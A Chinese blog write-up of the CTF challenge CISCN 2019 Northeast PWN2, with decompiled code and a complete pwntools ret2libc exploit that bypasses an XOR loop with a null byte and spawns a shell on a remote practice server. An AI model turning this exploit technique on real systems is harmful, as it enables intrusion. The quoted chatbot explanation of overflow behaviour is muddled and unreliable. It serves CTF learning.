[CISCN 2019东北]PWN2题解

文章讲述了在具有NX保护的程序中,通过栈溢出找到exploit的机会,利用puts函数实现ret2libc,最终获取shell的过程。作者详细描述了程序结构、溢出点和利用方法,展示了如何构造payload以绕过加密并执行系统调用。
摘要由CSDN通过智能技术生成

目录

思路

exp

结果


我觉得这道题还是比较好的,所以我就想着分享分享

思路

root@TOM:/mnt/c/users/32566/desktop# checksec pwn
[*] '/mnt/c/users/32566/desktop/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了nx保护,64位,拖入ida,进入main函数,我会给大家分析代码,这道题的亮点就在代码上。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF
​
  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin(); 
  //int begin()
    //{
      //puts("====================================================================");
      //puts("1.Encrypt");
      //puts("2.Decrypt");
      //puts("3.Exit");
      //return puts("Input your choice!");
    //}   这是begin函数里面的内容
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

此程序给你了三个选项分别是:1.Encrypt 2.Decrypt 3.Exit,假如你选择1,直接会进入加密部分,假如你选择2会让你重新选择,咱们进入encrypt看看

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]
​
  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

你可以在里面看到gets函数,这个就是溢出点,假如你通过gets进行溢出的话,里面的内容是会被改变的。我刚开始做这道题的时候,问了一下chatgpt,栈溢出后程序是不是就崩坏了,我就这么想的,但是打的时候没打通,然后我查看Mr_Fmnwonwp,发现即使栈溢出了,它还是会将此程序执行完毕,然后我运行此程序发现确实是这样的。

root@TOM:/mnt/c/users/32566/desktop# cyclic 88
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa
root@TOM:/mnt/c/users/32566/desktop# ./pwn
EEEEEEE                            hh      iii
EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee
EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e
EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee
EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee
====================================================================
Welcome to this Encryption machine
​
====================================================================
1.Encrypt
2.Decrypt
3.Exit
Input your choice!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa
Something Wrong!

你可以看到最后打印出来something wrong,目前我学的知识有限只能这样解释。这个是我问chatgpt的结果,看来和我想的一样。

做pwn的一些题,只开了nx保护,栈溢出后程序会执行完不?
​
chatgpt:在做一些 pwn 题目时,如果程序只开启了 NX (No eXecute) 保护,而没有启用其他保护机制(如堆栈随机化 ASLR、堆保护、堆栈保护等),在发生栈溢出时,程序可能会继续执行完毕。
​
开启 NX 保护会防止在可执行内存上执行恶意代码,但并不会阻止栈溢出。因此,如果程序存在栈溢出漏洞且只开启了 NX 保护,攻击者可以通过溢出覆盖返回地址等方式来控制程序的执行流程。在这种情况下,程序可能会执行攻击者精心构造的恶意代码,而不是正常的程序流程。
​
因此,如果在做 pwn 题目时,程序只开启了 NX 保护而没有其他保护机制,栈溢出后程序有可能继续执行完毕,但会执行攻击者注入的恶意代码,而不是原本的正常代码流。

那么gets后面的代码确实会被执行。后面进行的是加密操作;假如s[x] <= 96 || s[x] > 122 会接着执行里面的if条件语句,如果s[x] <= 96 || s[x] > 122 不成立,那么会将s[x] 与0xEu进行异或,假如 s[x] <= 64 || s[x] > 90不成立,则 s[x] 与0xDu进行抑或,假如s[x] > 47 && s[x] <= 57成立,会将s[x]与 0xCu进行异或,你也可以认为此为加密过程;if ( v0 >= strlen(s) )里面有一个strlen函数,这个是计算字符串长度的,在'\x00'处会停止,不包括'\x00'所以咱们可以构造一个空字符串来绕过加密,这样就不会对我们的payload进行造成破坏了。

没有后门函数;没有system,binsh有puts函数那么我们就可以用ret2libc

exp

from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#p=process('./pwn')
p=remote('node5.anna.nssctf.cn',22414)
elf=ELF('./pwn')
​
ret=0x00000000004006b9
rdi=0x0000000000400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
encrypt_addr=elf.sym['encrypt']
​
​
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
​
#gdb.attach(p)
payload=b'\x00'+cyclic(0x50+7)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(payload)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts",hex(puts))
​
libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload=b'\x00'+cyclic(0x50+7)+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

结果

链接:https://pan.baidu.com/s/1Pd6ZCdwuE_CasB52VcDdyQ?pwd=a61z 
提取码:a61z 假如你有typora应用的话,你可以用它看,比较美观。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值